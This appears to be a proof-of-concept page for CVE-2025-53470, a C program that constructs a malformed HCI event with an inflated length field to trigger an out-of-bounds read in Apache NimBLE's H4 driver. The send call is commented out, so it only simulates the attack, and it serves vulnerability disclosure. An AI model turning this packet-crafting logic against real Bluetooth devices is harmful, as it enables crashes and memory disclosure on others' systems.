CVE-2025-53470 Apache NimBLE HCI H4驱动越界读取漏洞

// PoC for CVE-2025-53470: Apache NimBLE H4 Out-of-bounds Read // This PoC demonstrates sending a malformed HCI event with mismatched parameter length #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // HCI Event packet header structure typedef struct { uint8_t event_code; // Event code uint8_t param_total_len; // Total parameter length from header } hci_event_header_t; // Function to simulate sending malformed HCI event to NimBLE H4 driver void send_malformed_hci_event(int fd, uint8_t event_code, uint8_t declared_len, uint8_t* actual_data, size_t actual_len) { uint8_t packet[256]; // H4 event packet type indicator packet[0] = 0x04; // HCI_EVENT_PKT type // Event header packet[1] = event_code; packet[2] = declared_len; // Declared length differs from actual // Copy actual data (shorter than declared length) if (actual_len > 0 && actual_data != NULL) { memcpy(&packet[3], actual_data, actual_len); } // Send packet to H4 driver // write(fd, packet, 3 + actual_len); printf("[+] Sending malformed HCI event: code=0x%02x, declared_len=%d, actual_len=%zu\n", event_code, declared_len, actual_len); printf("[+] This will trigger out-of-bounds read in NimBLE H4 driver\n"); } int main() { printf("=== CVE-2025-53470 PoC ===\n"); printf("Target: Apache NimBLE < 1.9 HCI H4 Driver\n"); printf("Vulnerability: Out-of-bounds Read via malformed HCI event\n\n"); // Example 1: Event with declared length > actual data uint8_t event_data[] = {0x01, 0x02}; // Only 2 bytes of actual data send_malformed_hci_event(0, 0xFF, 20, event_data, sizeof(event_data)); // Declare 20 bytes // The H4 driver will attempt to read 20 bytes starting from packet[3], // but only 2 bytes are available, causing OOB read printf("\n[+] Attack vector: Malicious Bluetooth controller sends HCI event\n"); printf("[+] Result: Driver reads %d bytes beyond allocated buffer\n", 20 - sizeof(event_data)); printf("[+] Impact: Potential information disclosure or crash\n"); return 0; }